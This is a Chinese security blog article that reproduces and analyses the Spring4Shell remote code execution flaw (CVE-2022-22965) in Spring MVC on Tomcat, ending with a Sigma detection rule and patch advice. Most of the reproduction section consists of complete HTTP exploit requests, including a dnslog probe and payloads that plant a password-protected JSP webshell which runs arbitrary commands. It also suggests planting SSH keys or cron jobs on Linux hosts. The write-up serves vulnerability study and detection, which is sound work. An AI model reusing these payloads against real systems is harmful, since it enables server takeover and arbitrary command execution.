ATT&CK-Spring Framework(CVE-2022-22965)远程代码执行漏洞
2023-4-19 00:2:56 Author: 白帽子(查看原文) 阅读量:15 收藏

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

前言

原理:
springmvc中通过方法形参来接收页面请求的key/value数据,经过参数绑定,将key/value数据绑定到controller方法的形参上。
然后,参数绑定过程中,key值存在能够调用class属性,而JDK9及以上版本可以通过class.module.classLoader获取classLoader,利用该特性,完成配置参数的修改;

触发该漏洞需要满足三个基本条件:
Tomcat容器;
使用JDK9及以上版本的Spring MVC框架;
Spring 框架以及衍生的框架spring-beans-*.jar 文件;

漏洞影响版本:
版本低于5.3.18和5.2.20的Spring框架或其衍生框架构建的网站或应用。

环境搭建

先下载源码 Spring4Shell-POC ,注意:tomcat环境下运行;

漏洞复现

dnslog检测漏洞存在:

POST /handling_form_submission_complete_war/greeting HTTP/1.1Host: 192.168.80.150:8080Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 166class.module.classLoader.resources.context.configFile=http://spring-jayway.6u40q4.dnslog.cn/test&class.module.classLoader.resources.context.configFile.content.aaa=xxx

写入webshell:webapps/ROOT

POST /handling_form_submission_complete_war/greeting HTTP/1.1Host: 192.168.80.150:8080User-Agent: python-requests/2.27.1Accept-Encoding: gzip, deflateAccept: */*Connection: closesuffix: %>//c1: Runtimec2: <%DNT: 1Content-Type: application/x-www-form-urlencodedContent-Length: 762
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

写入地址:

C:\JAVA\Tomcat\apache-tomcat-8.5.72\webapps\handling_form_submission_complete_warPOST /handling_form_submission_complete_war/greeting HTTP/1.1Host: 192.168.80.150:8080User-Agent: python-requests/2.27.1Accept-Encoding: gzip, deflateAccept: */*Connection: closesuffix: %>//c1: Runtimec2: <%DNT: 1Content-Type: application/x-www-form-urlencodedContent-Length: 831
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=C:\JAVA\Tomcat\apache-tomcat-8.5.72\webapps\handling_form_submission_complete_war&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

注意:
这里webapps/ROOT是写入相对路径,C:\JAVA\Tomcat\apache-tomcat-8.5.72\webapps\handling_form_submission_complete_war是写入相对路径;同时,路径只能写入1次,无法修改,所以验证漏洞存在,写入webshell时,需要知道网站的相对路径,或者绝对路径,才可以写入成功。
因此,对于linux环境,漏洞利用,可以写入ssh密钥,或者定时任务,比写入webshell更有价值;

写入内容对比发现,直接写入webshell,%等特殊字符会造成乱码;

输入:

%3c%25%20%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%3e%0a%0a

url解码:

<% if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } >

解决办法,通过头信息,将特殊字符写入进去。

输入:

%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di

url解码:

%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i

写入内容对比:

漏洞分析

首先,在 spring-beans-5.3.15-sources.jar下, 

\org\springframework\beans\BeanWrapperImpl.java 设置断点调试;
post参数:username=admin&password=admin。

protected BeanPropertyHandler getLocalPropertyHandler(String propertyName) {PropertyDescriptor pd = getCachedIntrospectionResults().getPropertyDescriptor(propertyName);return (pd != null ? new BeanPropertyHandler(pd) : null);}

跟进getPropertyDescriptor方法,发现key值具有class属性,而JDK9及以上版本可以通过class.module.classLoader获取classLoader;

设置post内容:

class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
继续调试,发现classLoader可获取,具体如下:

class.module.classLoader.resources.context.parent.pipeline.first.directory 调用完毕后,获取到value值为webapps/ROOT;

最后通过setValue方法,实现系统参数修改;

注意:
1.class.module.classLoader.resources.context.parent.pipeline.first.directory参数修改后,只有tomcat重启,才可以重新修改;
2.通过修改

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat参数,可以实现写入文件的文件名修改;

具体如下:

检测规则

Sigma检测规则如下:

title: Spring Framework(CVE-2022-22965)远程代码执行漏洞description: 检测 Spring Framework(CVE-2022-22965)远程代码执行漏洞status: testdate: 2022/05/29author: xiaohailogsource:category: webserverdetection:keywords:- 'class.module.classLoader.resources.context'condition: keywordstags:- attack.t1190- attack.initial_access- cve.2022.22965level: Critical

缓解措施

目前官方已经发布补丁,可升级至安全版本(https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15)

参考链接

https://mp.weixin.qq.com/s/kgw-O4Hsd9r2vfme3Y2Ynw
https://www.freebuf.com/vuls/327457.html
https://github.com/reznok/Spring4Shell-POC

安恒信息

杭州亚运会网络安全服务官方合作伙伴

成都大运会网络信息安全类官方赞助商

武汉军运会、北京一带一路峰会

青岛上合峰会、上海进博会

厦门金砖峰会、G20杭州峰会

支撑单位北京奥运会等近百场国家级

重大活动网络安保支撑单位

END

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246642&idx=1&sn=609260d059affcdb5ca81edf39f0af99&chksm=82ea565bb59ddf4da8a2f515e1e58ccadc4fdfebe2a88f47e09fcd8fee1d99a4cdeaba7f10e0#rd
如有侵权请联系:admin#unsafe.sh